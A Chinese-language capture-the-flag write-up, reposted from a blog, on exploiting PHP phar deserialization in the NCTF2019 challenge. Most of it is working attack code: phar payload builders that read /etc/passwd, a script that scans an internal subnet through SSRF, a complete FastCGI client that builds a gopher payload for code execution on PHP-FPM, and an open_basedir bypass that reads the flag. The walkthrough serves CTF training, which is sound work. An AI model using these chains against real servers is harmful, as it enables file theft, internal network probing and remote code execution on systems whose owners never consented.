  • 有时候文件上传仅仅是白名单,那么这就很难办了,文件上传似乎是写死了(没有绝对安全的系统,等待大家去发现吧),这里可以将构造好的phar文件后缀更改,他依旧会解析。综上所述,触发漏洞就必须要以下几点:1--有一个反序列化利用链,2--文件名可控(正则匹配或者可绕过),3--能够上传文件,并获得文件路径
  • 如果不能允许开头则phar字符还有其他的方式,后面还有Mysql读取Phar造成的反序列化,但是需要更改mysql配置文件不常用。
compress.zlib://phar://phar.phar

compress.bzip2://phar://phar.phar 

php://filter/read=convert.base64-encode/resource=phar://panda.png

influences

NCTF2019 phar matches everything

// catchmime.php
<?php
class Easytest{
    protected $test;
    public function funny_get(){
        return $this->test;
    }
}
class Main {
    public $url;
    public function curl($url){
        $ch = curl_init();  
        curl_setopt($ch,CURLOPT_URL,$url);
        curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
        $output=curl_exec($ch);
        curl_close($ch);
        return $output;
    }

	public function __destruct(){
        $this_is_a_easy_test=unserialize($_GET['careful']);
        if($this_is_a_easy_test->funny_get() === '1'){
            echo $this->curl($this->url);
        }
    }    
}

if(isset($_POST["submit"])) {
    $check = getimagesize($_POST['name']);
    if($check !== false) {
        echo "File is an image - " . $check["mime"] . ".";
    } else {
        echo "File is not an image.";
    }
}
?>
// upload.php
<?php

$target_dir = "uploads/";
$uploadOk = 1;

$imageFileType=substr($_FILES["fileToUpload"]["name"],strrpos($_FILES["fileToUpload"]["name"],'.')+1,strlen($_FILES["fileToUpload"]["name"]));

$file_name = md5(time());
$file_name =substr($file_name, 0, 10).".".$imageFileType;

$target_file=$target_dir.$file_name;

    $check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
    if($check !== false) {
        echo "File is an image - " . $check["mime"] . ".";
        $uploadOk = 1;
    } else {
        echo "File is not an image.";
        $uploadOk = 0;
    }


if (file_exists($target_file)) {
    echo "Sorry, file already exists.";
    $uploadOk = 0;
}
if ($_FILES["fileToUpload"]["size"] > 500000) {
    echo "Sorry, your file is too large.";
    $uploadOk = 0;
}
if($imageFileType !== "jpg" && $imageFileType !== "png" && $imageFileType !== "gif" && $imageFileType !== "jpeg"  ) {
    echo "Sorry, only jpg,png,gif,jpeg are allowed.";
    $uploadOk = 0;
}
if ($uploadOk == 0) {
    echo "Sorry, your file was not uploaded.";
} else {
    if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
        echo "The file $file_name  has been uploaded to ./uploads/";
    } else {
        echo "Sorry, there was an error uploading your file.";
    }
}
?>
  • catchmime.php有两个类EsayTest,Main.第一个类没啥看的暂且按下不表,Main这个类的curl方法可以看出到没对$url参数做限制,如果参数可控那么可能造成SSRF任意文件读取.第二个为魔术方法,其中调用了Main类的curl方法,但是前提为funny_get方法的返回值为1.这里的funy_get方法来自第一个类,然后又有反序列化,且参数可控,因此将第一个类的$test值设为1即可。就可调用Main类的curl方法。那么接下来就找调用了Main类的触发就Ok了。看了题目的功能点就是上传文件,和一个检查文件类型,结合题目就想到Phar反序列化,那么就不用unserialize()函数就可以触发反序列化了。触发了Main类那么就可以造成上面分析的两种漏洞。发现getimagesize函数的参数我们可控,这个函数本身也是属于IO操作,于是可以触发Phar反序列化。
  • upload.php,上传文件名不可控,为MD5的随机时间戳截取前10位。白名单限制文件上传为['jpg','png','gif','jpeg']其中的一种。上传shell几乎是不可能了,这里也许也有Phar反序列化,但是由于名字这些参数不可控,那么没办法了。就只有前面的漏洞了。

POC 文件读取

  • 有了上面的分析,我们就用file://协议先构造任意文件读取吧

    <?php
    class Easytest{
        protected $test = '1';
    }
    class Main{
        public $url = 'file:///etc/passwd';
    }
    // 因为$test 的属性问题需要url编码
    echo urlencode(serialize(new Easytest()));
    
    @unlink("phar.png");
    $phar = new Phar("phar.png");
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER();?>");
    $phar->setMetadata(new Main());
    $phar->addFromString("Panda.txt","I am Panda");
    $phar->stopBuffering();
    
    //O%3A8%3A%22Easytest%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00test%22%3Bs%3A1%3A%221%22%3B%7D
    
  • 然后将生成的Phar文件后缀改成其中白名单的一种,上传后访问即可。有个坑谷歌浏览器hackbarsubmit参数的提交不得行,火狐浏览器就OK,或者Burp就欧克了。火狐Hackbar

ReadFile

  • 读取/etc/hosts/并不会发现内网IP地址,因此需要读/proc/net/arp/,发现内网地址为10.0.255.1,但是这并不是需要攻击的IP地址,根据上面改写了个两个脚本来判断需要攻击的内网地址。第一个则是生成Phar文件。第二个则是将文件上传并访问看返回数据大小,最终发现内网IP不止一个?最后根据别人做题发现是PHP-fpm那个界面。IP为10.0.255.11
<?php
\ D:\phpstudy\www\EXPpoc.php
class Easytest{
    protected $test = '1';
}
// 因为$test 的属性问题需要url编码
echo urlencode(serialize(new Easytest()));


class Main{
    public $url = 'http://10.0.255.';
}
$temp = new Main();

for($num = 1;$num<256;$num++){
    $temp->url = $temp->url.(string)$num;
    echo $temp->url.PHP_EOL;
    print_r($temp);
    $phar = new Phar($num.".phar");
    $phar->startBuffering();
    $phar->setStub("GIF89a" . "<?php __HALT_COMPILER();?>");
    $phar->setMetadata($temp);
    $phar->addFromString("Panda.txt", "I am Panda");
    $phar->stopBuffering();

    $temp->url = 'http://10.0.255.';
}
import requests
import time
import re
import os

url = 'http://b284968d-4bbd-491e-8e35-45d7e6f37b18.node3.buuoj.cn'
def Upload(name):
    PATH = 'D:\phpStudy\www\EXP\'
    if os.path.exists(PATH+name):
        os.rename(PATH+name,PATH+name.split('.')[0]+'.png')
    files = {'fileToUpload': ('phar.png',open(PATH+name.split('.')[0]+'.png','rb'))}
    response = requests.post(url=url+'/upload.php', files=files)
    filename = re.findall("file (.*?.png)",response.text)[0]
    if filename:
        return filename

def req(name):
    data = {
        "submit":"1",
        "name":"phar://uploads/{}"
    }
    data["name"] = data["name"].format(Upload(name))
    headers = {'Content-Type' : 'application/x-www-form-urlencoded', }
    res = requests.post(url+'/catchmime.php?careful=O%3A8%3A%22Easytest%22%3A1%3A%7Bs%3A7%3A%22%00%2A%00test%22%3Bs%3A1%3A%221%22%3B%7D', data=data, headers=headers)
    print(name.split('.')[0]+" "*20+str(len(res.text)))
for num in range(1,256):
    req(str(num) + '.phar')
    time.sleep(1)
          
  • Python输出展示,
1                    264
2                    264
3                    264
4                    266
5                    5835
6                    8099
7                    4891
8                    264
9                    1825
10                    264
11                    287
12                    264

SSRF PHP-FPM

import socket
import random
import argparse
import sys
from io import BytesIO
import base64
import urllib
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
PY2 = True if sys.version_info.major == 2 else False
def bchr(i):
    if PY2:
        return force_bytes(chr(i))
    else:
        return bytes([i])
def bord(c):
    if isinstance(c, int):
        return c
    else:
        return ord(c)
def force_bytes(s):
    if isinstance(s, bytes):
        return s
    else:
        return s.encode('utf-8', 'strict')
def force_text(s):
    if issubclass(type(s), str):
        return s
    if isinstance(s, bytes):
        s = str(s, 'utf-8', 'strict')
    else:
        s = str(s)
    return s
class FastCGIClient:
    """A Fast-CGI Client for Python"""
    # private
    __FCGI_VERSION = 1
    __FCGI_ROLE_RESPONDER = 1
    __FCGI_ROLE_AUTHORIZER = 2
    __FCGI_ROLE_FILTER = 3
    __FCGI_TYPE_BEGIN = 1
    __FCGI_TYPE_ABORT = 2
    __FCGI_TYPE_END = 3
    __FCGI_TYPE_PARAMS = 4
    __FCGI_TYPE_STDIN = 5
    __FCGI_TYPE_STDOUT = 6
    __FCGI_TYPE_STDERR = 7
    __FCGI_TYPE_DATA = 8
    __FCGI_TYPE_GETVALUES = 9
    __FCGI_TYPE_GETVALUES_RESULT = 10
    __FCGI_TYPE_UNKOWNTYPE = 11
    __FCGI_HEADER_SIZE = 8
    # request state
    FCGI_STATE_SEND = 1
    FCGI_STATE_ERROR = 2
    FCGI_STATE_SUCCESS = 3
    def __init__(self, host, port, timeout, keepalive):
        self.host = host
        self.port = port
        self.timeout = timeout
        if keepalive:
            self.keepalive = 1
        else:
            self.keepalive = 0
        self.sock = None
        self.requests = dict()
    def __connect(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.settimeout(self.timeout)
        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        # if self.keepalive:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
        # else:
        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
        try:
            self.sock.connect((self.host, int(self.port)))
        except socket.error as msg:
            self.sock.close()
            self.sock = None
            print(repr(msg))
            return False
        return True
    def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
        length = len(content)
        buf = bchr(FastCGIClient.__FCGI_VERSION) 
               + bchr(fcgi_type) 
               + bchr((requestid >> 8) & 0xFF) 
               + bchr(requestid & 0xFF) 
               + bchr((length >> 8) & 0xFF) 
               + bchr(length & 0xFF) 
               + bchr(0) 
               + bchr(0) 
               + content
        return buf
    def __encodeNameValueParams(self, name, value):
        nLen = len(name)
        vLen = len(value)
        record = b''
        if nLen < 128:
            record += bchr(nLen)
        else:
            record += bchr((nLen >> 24) | 0x80) 
                      + bchr((nLen >> 16) & 0xFF) 
                      + bchr((nLen >> 8) & 0xFF) 
                      + bchr(nLen & 0xFF)
        if vLen < 128:
            record += bchr(vLen)
        else:
            record += bchr((vLen >> 24) | 0x80) 
                      + bchr((vLen >> 16) & 0xFF) 
                      + bchr((vLen >> 8) & 0xFF) 
                      + bchr(vLen & 0xFF)
        return record + name + value
    def __decodeFastCGIHeader(self, stream):
        header = dict()
        header['version'] = bord(stream[0])
        header['type'] = bord(stream[1])
        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])
        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])
        header['paddingLength'] = bord(stream[6])
        header['reserved'] = bord(stream[7])
        return header
    def __decodeFastCGIRecord(self, buffer):
        header = buffer.read(int(self.__FCGI_HEADER_SIZE))
        if not header:
            return False
        else:
            record = self.__decodeFastCGIHeader(header)
            record['content'] = b''
            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                record['content'] += buffer.read(contentLength)
            if 'paddingLength' in record.keys():
                skiped = buffer.read(int(record['paddingLength']))
            return record
    def request(self, nameValuePairs={}, post=''):
        if not self.__connect():
            print('connect failure! please check your fasctcgi-server !!')
            return
        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) 
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) 
                                 + bchr(self.keepalive) 
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)
        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
        self.sock.send(request)
        self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND
        self.requests[requestId]['response'] = b''
        return self.__waitForResponse(requestId)
    def gopher(self, nameValuePairs={}, post=''):
        requestId = random.randint(1, (1 << 16) - 1)
        self.requests[requestId] = dict()
        request = b""
        beginFCGIRecordContent = bchr(0) 
                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) 
                                 + bchr(self.keepalive) 
                                 + bchr(0) * 5
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,
                                              beginFCGIRecordContent, requestId)
        paramsRecord = b''
        if nameValuePairs:
            for (name, value) in nameValuePairs.items():
                name = force_bytes(name)
                value = force_bytes(value)
                paramsRecord += self.__encodeNameValueParams(name, value)
        if paramsRecord:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)
        if post:
            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)
        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)
        return request
    def __waitForResponse(self, requestId):
        data = b''
        while True:
            buf = self.sock.recv(512)
            if not len(buf):
                break
            data += buf
        data = BytesIO(data)
        while True:
            response = self.__decodeFastCGIRecord(data)
            if not response:
                break
            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT 
                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                if requestId == int(response['requestId']):
                    self.requests[requestId]['response'] += response['content']
            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                self.requests[requestId]
        return self.requests[requestId]['response']
    def __repr__(self):
        return "fastcgi connect host:{} port:{}".format(self.host, self.port)
if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
    parser.add_argument('host', help='Target host, such as 127.0.0.1')
    parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
    parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php echo "PWNed";?>')
    parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)
    parser.add_argument('-e', '--ext', help='ext absolute path', default='')
    parser.add_argument('-if', '--include_file', help='evil.php absolute path', default='')
    parser.add_argument('-u', '--url_format', help='generate gopher stream in url format', nargs='?',const=1)
    parser.add_argument('-b', '--base64_format', help='generate gopher stream in base64 format', nargs='?',const=1)
    args = parser.parse_args()
    client = FastCGIClient(args.host, args.port, 3, 0)
    params = dict()
    documentRoot = "/"
    uri = args.file
    params = {
        'GATEWAY_INTERFACE': 'FastCGI/1.0',
        'REQUEST_METHOD': 'POST',
        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
        'SCRIPT_NAME': uri,
        'QUERY_STRING': '',
        'REQUEST_URI': uri,
        'DOCUMENT_ROOT': documentRoot,
        'SERVER_SOFTWARE': 'php/fcgiclient',
        'REMOTE_ADDR': '127.0.0.1',
        'REMOTE_PORT': '9985',
        'SERVER_ADDR': '127.0.0.1',
        'SERVER_PORT': '80',
        'SERVER_NAME': "localhost",
        'SERVER_PROTOCOL': 'HTTP/1.1',
        'CONTENT_TYPE': 'application/text',
        'CONTENT_LENGTH': "%d" % len(args.code),
        'PHP_VALUE': 'auto_prepend_file = php://input',
        'PHP_ADMIN_VALUE': 'allow_url_include = On'
    }
    if args.ext and args.include_file:
        #params['PHP_ADMIN_VALUE']='extension = '+args.ext
        params['PHP_ADMIN_VALUE']="extension_dir = /var/www/htmlnextension = ant.so"
        params['PHP_VALUE']='auto_prepend_file = '+args.include_file
    if not args.url_format and not args.base64_format :
        response = client.request(params, args.code)
        print(force_text(response))
    else:
        response = client.gopher(params, args.code)
        if args.url_format:
            print(urllib.quote(response))
        if args.base64_format:
            print(base64.b64encode(response))
# python2 exp.py 10.0.255.11 /var/www/html/index.php -p 9000 -c "<?php phpinfo(); ?>" -u
# %01%01%90%1E%00%08%00%00%00%01%00%00%00%00%00%00%01%04%90%1E%01%DB%00%00%0E%02CONTENT_LENGTH19%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%17SCRIPT_FILENAME/var/www/html/index.php%0B%17SCRIPT_NAME/var/www/html/index.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%17REQUEST_URI/var/www/html/index.php%01%04%90%1E%00%00%00%00%01%05%90%1E%00%13%00%00%3C%3Fphp%20phpinfo%28%29%3B%20%3F%3E%01%05%90%1E%00%00%00%00
<?php
class Easytest{
    protected $test = '1';
}
// 因为$test 的属性问题需要url编码
echo urlencode(serialize(new Easytest()));


class Main{
    public $url = 'gopher://10.0.255.11:9000/_%01%01%90%1E%00%08%00%00%00%01%00%00%00%00%00%00%01%04%90%1E%01%DB%00%00%0E%02CONTENT_LENGTH19%0C%10CONTENT_TYPEapplication/text%0B%04REMOTE_PORT9985%0B%09SERVER_NAMElocalhost%11%0BGATEWAY_INTERFACEFastCGI/1.0%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0F%17SCRIPT_FILENAME/var/www/html/index.php%0B%17SCRIPT_NAME/var/www/html/index.php%09%1FPHP_VALUEauto_prepend_file%20%3D%20php%3A//input%0E%04REQUEST_METHODPOST%0B%02SERVER_PORT80%0F%08SERVER_PROTOCOLHTTP/1.1%0C%00QUERY_STRING%0F%16PHP_ADMIN_VALUEallow_url_include%20%3D%20On%0D%01DOCUMENT_ROOT/%0B%09SERVER_ADDR127.0.0.1%0B%17REQUEST_URI/var/www/html/index.php%01%04%90%1E%00%00%00%00%01%05%90%1E%00%13%00%00%3C%3Fphp%20phpinfo%28%29%3B%20%3F%3E%01%05%90%1E%00%00%00%00';
}

@unlink("phar.png");
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER();?>");
$phar->setMetadata(new Main());
$phar->addFromString("Panda.txt","I am Panda");
$phar->stopBuffering();

  • 访问看到PHPINFO,但是很多函数被禁止了。并且目录限制仅/var/www/html/tmp.因此需要绕过。alias.
<?php mkdir('/tmp/panda');chdir('/tmp/panda');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/'));readfile('/flag');?>
  • 再一次脚本构造SSRF,最终得Flag.

flag

PHP 原生类

LCTF2018

内容来源于网络如有侵权请私信删除

文章来源: 博客园

原文链接: https://www.cnblogs.com/Pan3a/p/14567823.html

你还没有登录,请先登录注册
  • 还没有人评论,欢迎说说您的想法!